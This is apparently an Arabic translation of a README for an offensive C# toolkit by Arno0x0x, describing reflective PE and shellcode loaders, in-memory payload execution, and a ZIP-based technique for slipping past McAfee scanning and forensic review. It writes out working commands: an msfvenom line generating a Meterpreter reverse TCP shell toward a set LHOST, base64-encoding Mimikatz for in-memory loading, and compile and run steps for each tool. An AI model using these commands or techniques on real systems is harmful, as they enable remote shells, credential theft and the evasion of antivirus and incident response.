
نصوص C# هجومية لحقن PE الانعكاسي وshellcode، وتنفيذ الحمولات في الذاكرة، وفك تشفير shellcode بالقوة الغاشمة عبر XOR، وتحليل تجميعات .NET.
المؤلف: Arno0x0x - @Arno0x0x
يهدف هذا المستودع إلى نشر بعض من نصوص C# الخاصة بي. بعضها مجرد نسخ متفرعة/مستوحاة من نصوص أخرى وجدتها هنا وهناك، وقد كيّفتها لتلائم احتياجاتي أو لمجرد التعلم والتحسين.
bfDecryptShellcode.cs
هذا النص هو إثبات مفهوم (PoC) ساذج قليلاً وربما غير مفيد كثيراً لفك تشفير شيفرة قشرية مشفرة بـ XOR متعدد البايتات بالقوة الغاشمة. بمجرد فك تشفير الشيفرة القشرية، يتم تحميلها في الذاكرة وتنفيذها.
لاستخدامه، تحتاج إلى شيئين:
يمكنك الحصول على كليهما باستخدام مشروع ShellcodeWrapper الخاص بي وتزويده بأي حمولة metasploit خام.
parseAssembly.cs
سيقوم تطبيق وحدة التحكم هذا بتحميل تجميعة .Net (exe أو dll) ديناميكياً، إما من ملف محلي أو من عنوان URL تم تنزيله منه، واختيارياً بترميز base64. بمجرد التحميل، سيقوم بتعداد أنواعها وطرقها وخصائصها.
أمثلة:
parseAssembly.exe myAssembly.dll
أو
parseAssembly.exe http://some.site.com/myAssembly base64
هذه مجموعة من النصوص المقتبسة من عمل Casey Smith (@subTee) حول الحقن الانعكاسي لـ PE أو الشيفرة القشرية في العملية المستدعية، من مصادر متنوعة.
peloader.cs
يقوم هذا النص بتحميل ملف PE x64 مشفر بـ base64 (على سبيل المثال: Mimikatz أو Meterpreter) في ذاكرة العملية وتنفيذه انعكاسياً. يتم تمرير PE كمتغير سلسلة base64 في بداية الملف (نعم، إنه مُضمّن بشكل ثابت).
يمكنك إنشاء سلسلة base64 هذه من أي ملف باستخدام سطر الأوامر التالي في *nix:
root@kali:~# base64 -w 0 mimikatz.exe > mimikatz.b64
يتطلب تجميع السكربت على جهاز يعمل بنظام Windows إطار عمل .Net (مثبّت افتراضيًا على Windows 7 وما بعده):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:peloader.exe peloader.cs
shellcodelauncher.cs
يقوم هذا السكربت بتنفيذ shellcode في ذاكرة العملية وتنفيذه انعكاسيًا. يتم تمرير shellcode كمصفوفة من البايتات في متغير. يمكنك الحصول على الشيفرة المناسبة لهذه المصفوفة مولّدة تلقائيًا لك باستخدام أداة msfvenom من Metasploit. على سبيل المثال، لتوليد shellcode من نوع reverse_tcp meterpreter:
root@kali:~# msfvenom -a x86_64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f csharp
يتطلب تجميع السكربت على جهاز يعمل بنظام Windows إطار عمل .Net (مثبّت افتراضيًا على Windows 7 وما بعده):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shellcodeLauncher.exe shellcodeLauncher.cs
runfromzipinmemory.cs
هذا السكربت مبني بشكل كبير ومخجل، ومستوحى، ومشتق من عمل Casey Smith (@subTee) على Netkatz.
اكتشفت أن برنامج مكافحة الفيروسات المحلي (McAfee) على محطة العمل الخاصة بالشركة مُهيأ لـعدم تحليل محتوى ملف ZIP، ربما على افتراض أنه كلما كان هذا المحتوى سيُقرأ أو يُنفَّذ فسيتم عادةً استخراجه أولاً في مكان ما على القرص، وأي شيء ضار فيه سيتم اكتشافه بواسطة برنامج مكافحة الفيروسات في ذلك الوقت.
ما يفعله هذا السكربت هو تحميل كل شيء في الذاكرة والعمل من هناك فقط، باستخدام الانعكاس (reflection) أيضاً لتنفيذ ملف PE من ذاكرة العملية المستدعية.
لذا ليس فقط أن برنامج مكافحة الفيروسات لا ينبح على الإطلاق، بل من منظور جنائي، تبدو "العملية الوحيدة الظاهرة قيد التشغيل" بريئة تماماً.
يتطلب تجميع السكربت على جهاز Windows إطار عمل .Net (المثبَّت افتراضياً على Windows 7 فما بعد):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /reference:System.IO.Compression.dll /out:runfromzipinmemory.exe runfromzipinmemory.cs
يمكنك بعد ذلك تنفيذ:
unfromzipinmemory.exe <zip_file> <exe_from_zip_file_to_be_executed>
netPEloader.cs
يعتمد هذا السكربت بشكل كبير على عمل Casey Smith (@subTee) على Netkatz ومستوحى منه.
Netkatz هو إثبات مفهوم (PoC) رائع لتحميل أحدث إصدار من mimikatz من GitHub وتنفيذه مباشرة في الذاكرة. ومع ذلك، واجهت ثلاث مشكلات في بيئتي:
لذلك قمت بتعديل سكربت netkatz الأصلي لمعالجة هذه المشكلات الثلاث:
عنوان URL الذي سيتم تنزيل ملف PE المخفي منه مضمّن بشكل ثابت في السكربت.
يتطلب تجميع السكربت على جهاز Windows إطار عمل .Net (المثبّت افتراضيًا على Windows 7 فما بعد):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:netPEloader.exe netPEloader.cs